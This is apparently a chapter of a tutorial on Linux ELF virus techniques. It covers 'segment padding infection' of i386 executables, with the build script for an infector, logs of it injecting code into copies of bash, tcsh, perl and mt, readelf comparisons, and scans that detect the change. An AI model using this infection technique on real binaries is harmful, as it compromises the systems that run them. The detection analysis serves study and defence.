8. Segment padding infection

 

Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.

 Darth Vader

Another interesting thing in the output of Segments of /bin/sh is the distance between the two LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x80c7420 - 0x8048000 - 0x7e414 = 0x100c = 4108 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x7e420 - 0x0 - 0x7e414 = 0xc = 12 bytes

Only 12 bytes (0xc) would be needed to align the first LOAD segment up to the alignment of 0x1000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.

Output: out/i386-redhat7.3-linux/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096
_SC_PHYS_PAGES=59862
_SC_AVPHYS_PAGES=22180

8.1. Off we go

We found a peculiarity. We verified its existence. We have a basic framework at One step closer (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. So off we go.

Command: pre/i386-redhat7.3-linux/one_step_closer/cc.sh
#!/bin/bash
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
main=${4}

/usr/bin/gcc -Wall -O1 -I . -I out/i386-redhat7.3-linux -D NDEBUG \
	-I ./src/one_step_closer/${entry_addr} \
	-I out/i386-redhat7.3-linux/one_step_closer/${infection} \
	-o tmp/i386-redhat7.3-linux/${project}/${entry_addr}${infection}/infector \
	${main} 2>&1 \
| /bin/sed '/left-hand operand of comma expression has no effect$/d'

Output: out/i386-redhat7.3-linux/segment_padding/e1i1/infect
/bin/tcsh ... wrote 26 bytes, Ok
/usr/bin/perl ... wrote 26 bytes, Ok
/bin/mt ... wrote 26 bytes, Ok
/bin/bash ... wrote 26 bytes, Ok
files=4; ok=4; failed=0

A simple shell script will do as test.

Output = Command: out/i386-redhat7.3-linux/segment_padding/test-e1i1.sh
#!tmp/i386-redhat7.3-linux/segment_padding/e1i1/bash_infected
echo $_
echo ${BASH_VERSION}
tmp/i386-redhat7.3-linux/segment_padding/e1i1/mt_infected
tmp/i386-redhat7.3-linux/segment_padding/e1i1/tcsh_infected -fc 'echo ${version}'
tmp/i386-redhat7.3-linux/segment_padding/e1i1/perl_infected -v | /bin/sed 3q
echo "---"
/bin/cat tmp/i386-redhat7.3-linux/segment_padding/e1i1/bash_infected > tmp/i386-redhat7.3-linux/segment_padding/e1i1/strip_bash_infected \
&& /usr/bin/strip tmp/i386-redhat7.3-linux/segment_padding/e1i1/strip_bash_infected \
&& /bin/chmod 755 tmp/i386-redhat7.3-linux/segment_padding/e1i1/strip_bash_infected \
&& tmp/i386-redhat7.3-linux/segment_padding/e1i1/strip_bash_infected --version

Output: out/i386-redhat7.3-linux/segment_padding/test-e1i1
ELFtmp/i386-redhat7.3-linux/segment_padding/e1i1/bash_infected
2.05a.0(1)-release
ELFusage: mt [-v] [--version] [-h] [ -f device ] command [ count ]
ELFtcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF
This is perl, v5.6.1 built for i386-linux

---
ELFGNU bash, version 2.05a.0(1)-release (i686-pc-linux-gnu)
Copyright 2001 Free Software Foundation, Inc.

The Force is strong with this one. [1]

8.2. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/i386-redhat7.3-linux/segment_padding/readelf.sh
#!/bin/bash
cd tmp/i386-redhat7.3-linux/segment_padding/e1i1 \
&& /bin/ls -l bash_infected \
&& /usr/bin/readelf -l bash_infected

Output: out/i386-redhat7.3-linux/segment_padding/readelf
-rwxrwxr-x    1 alba     alba       545192 Jan  8 23:08 bash_infected

Elf file type is EXEC (Executable file)
Entry point 0x80c6420
There are 6 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000c0 0x000c0 R E 0x4
  INTERP         0x0000f4 0x080480f4 0x080480f4 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x7f414 0x7f414 R E 0x1000
  LOAD           0x07f420 0x080c7420 0x080c7420 0x05934 0x09ad0 RW  0x1000
  DYNAMIC        0x084a0c 0x080cca0c 0x080cca0c 0x000d8 0x000d8 RW  0x4
  NOTE           0x000108 0x08048108 0x08048108 0x00020 0x00020 R   0x4

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata 
   03     .data .eh_frame .dynamic .ctors .dtors .got .bss 
   04     .dynamic 
   05     .note.ABI-tag 

File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:

infected.file_size - sh.file_size = 545192 - 541096 = 4096 = 0x1000

infected.LOAD[1].Filesiz - sh.LOAD[1].Filesiz = 0x7f414 - 0x7e414 = 0x1000

infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x7f420 - 0x7e420 = 0x1000

infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x84a0c - 0x83a0c = 0x1000

And the new distance between the LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x80c7420 - 0x8048000 - 0x7f414 = 0xc = 12 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x7f420 - 0x0 - 0x7f414 = 0xc = 12 bytes

8.3. First scan

The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/i386-redhat7.3-linux/segment_padding/scan_dist.sh
#!/bin/bash
TEVWH_TMP=tmp/i386-redhat7.3-linux; export TEVWH_TMP
/bin/echo "/bin/bash
tmp/i386-redhat7.3-linux/one_step_closer/e1i1/bash_infected" \
| tmp/i386-redhat7.3-linux/scanner/segment

Output: out/i386-redhat7.3-linux/segment_padding/scan
/bin/bash ... delta=0x100c, Ok
(2) No such file or directory
CHECK: tmp/i386-redhat7.3-linux/one_step_closer/e1i1/bash_infected
CHECK: src/scanner/segment/open_src.inc#9
CHECK: (0) <= (t->fd_src = open(t->src_file, 00))
CHECK: 0 <= -1; 0 <= 0xffffffff
files=2; ok=1; det_page=1; det_align=0; min=0x100c; max=0x0000

This is like playing chess against oneself, and losing. Can't do much about it, though.

8.4. Second scan

The value of Entry point changed dramatically. In the original it is in the first part of the file:

entry_point_m/additional.cs.xml = 0x8059440 - 0x8048000 = 0x11440 = 70720 bytes.

The infected copy moved that to less than 1000 bytes from the end of the code segment.

entry_point_ofs = 0x80c6420 - 0x8048000 = 0x7e420 = 517152 bytes.

end_of_LOAD1 = 0x8048000 + 0x7f414 = 0x80c7414

entry_point_distance_to_end = 0x80c7414 - 0x80c6420 = 0xff4 = 4084

This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section .text.

Notes

[1]

Ok, it is not strip-safe on SunOS. But I call that room for improvement.